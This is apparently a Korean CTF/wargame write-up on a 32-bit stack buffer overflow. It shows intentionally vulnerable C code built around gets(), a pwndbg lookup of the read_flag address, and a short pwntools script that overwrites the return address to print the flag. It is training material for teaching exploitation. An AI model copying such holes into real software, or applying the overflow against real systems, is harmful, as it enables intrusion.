본문으로 건너뛰기

kirin@pwnlab:~/writeups$cat basic-exploitation-001.md

Basic Exploitation 001

Writeups

date
2026-04-09
event
Wargame
tags
stack-buffer-overflow

코드 분석 & 공격 설계

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}

입력을 gets 함수를 통해서 받기 때문에 buffer overflow 발생
gets 함수는 길이 제한 없이 “\n”을 만나기 전까지 입력을 받아 저장
main의 RET에 read_flag 함수의 주소를 덮어야함

Exploit

gdb를 이용해 read_flag 함수의 주소를 파악

pwndbg> p read_flag
$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>

이를 이용해서 payload를 작성하면

from pwn import *
# p = remote("host3.dreamhack.games", 19366)
p = process("./basic_exploitation_001")
payload = b"A" * 0x80
payload += b"BBBB"
payload += p32(0x80485b9)
p.sendline(payload)
p.interactive()

symbol이 남아있을 경우 pwntool을 사용해 주소를 가져오는 방법도 있음

e = ELF("basic_exploitation_001")
...
payload += p32(e.symbols["read_flag"])
...

원문: pwnable_lab/pwnable/system_hacking_fundamental/stack_buffer_overflow/basic_exploitation_001/README.md